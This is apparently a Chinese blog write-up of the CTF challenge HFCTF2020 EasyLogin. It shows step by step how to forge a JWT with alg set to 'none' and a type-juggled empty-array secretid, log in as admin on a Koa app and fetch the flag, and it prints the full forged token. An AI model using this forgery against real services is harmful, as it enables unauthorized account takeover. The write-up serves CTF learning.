[HFCTF2020]EasyLogin --不会编程崽

这又是一道关于jwt伪造的题目。先了解一下jwt吧

JSON Web Token由三部分组成,它们之间用圆点(.)连接,并且经过了base64编码,由于"="会存在冲突问题,所以必须要去除"="。然后这三部分分别是:

  • Header
  • Payload
  • Signature

因此,一个典型的JWT看起来是这个样子的: 

xxxxx.yyyyy.zzzzz

看一下这个题的界面吧

 

一个登录框,或许会想到sql注入,但尝试了很久都没成功。所以遇见这种要注册的,还是乖乖注册。注册后登录同时并burp抓包

这个就是jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ.5RSdOcfpLNcQY45_jthp7jZ2TK7SCFu2lpVlUxS5o40

 访问下边这个网址解析

https://jwt.io/

但是问题来了,虽然知道具体传递内容,但是修改那些值或者改为什么值呢?这里还需要其他信息

 在源代码这发现了一个app.js文件

flag应该就在api目录下。顶端还了解到这是koa框架。这里就可以到源码里去看看了

访问/controllers/api.js得到主要逻辑代码。

 

 目的应该就是登录账户admin了

利用方式

利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。

header部分
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 
--base64解码-->
{"alg":"HS256","typ":"JWT"}
--修改-->
{"alg":"none","typ":"JWT"}
--base64编码-->
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
--剔除"="-->
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

 js是弱语言类型,可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)

eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ
--手动添加=-->
eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ==
--base64解-->
{"secretid":0,"username":"1","password":"1","iat":1708605862}
--修改-->
{"secretid":[],"username":"admin","password":"1","iat":1708605862}
--base64编码-->
eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEiLCJpYXQiOjE3MDg2MDU4NjJ9
payload:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEiLCJpYXQiOjE3MDg2MDU4NjJ9.

因为将alg修改为了none,所以第三部分就不需要了,直接为空

 

 伪造成功

 将这两串红复制下来,贴在访问/api/flag的数据包上

东西好多,记不住要长脑子了 

  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值